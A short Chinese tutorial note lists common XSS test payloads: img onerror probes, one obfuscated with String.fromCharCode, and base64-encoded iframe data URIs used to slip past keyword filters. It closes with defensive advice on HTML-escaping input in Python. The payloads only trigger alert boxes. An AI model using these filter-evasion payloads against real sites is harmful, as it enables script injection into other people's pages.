xss常用Payload总结
渗透测试时,常遇到页面输入框、留言板等输入交互点,大多是xss漏洞易出现的常见场景之一,记录几种常用的xss注入的姿势
1.img 注入
快速探测是否存在xss
1) <img src='x' onerror='alert(1)'>
2) <img src='x' onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">
2.iframe 注入
后台做了相关过滤,如过滤了script、onerror等关键字,可对payload做base64编码
1) 先对payload进行base64编码,如:echo "<script>alert(22)</script>" | base64
2) 将编码得到的payload放入到 <iframe src="data:text/html;base64,payload></iframe>
3) <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxMjM0KTs8L3NjcmlwdD4NCg=="></iframe>
高级绕waf姿势可参考这篇文章:xss绕waf姿势剖析
防御总结
除了对用户输入的字符做filter,过滤script、onxx等危险字符串,防御xss最有效的方式是对"<"、">"字符进行html编码转义
如输入payload:<script>alert(1)</script>
在python中,对其进行html编码转义:
import html
userInput = "<script>alert(1)</script>"
outPut = html.escape(userInput)
print(outPut)
hmtl编码转义如图,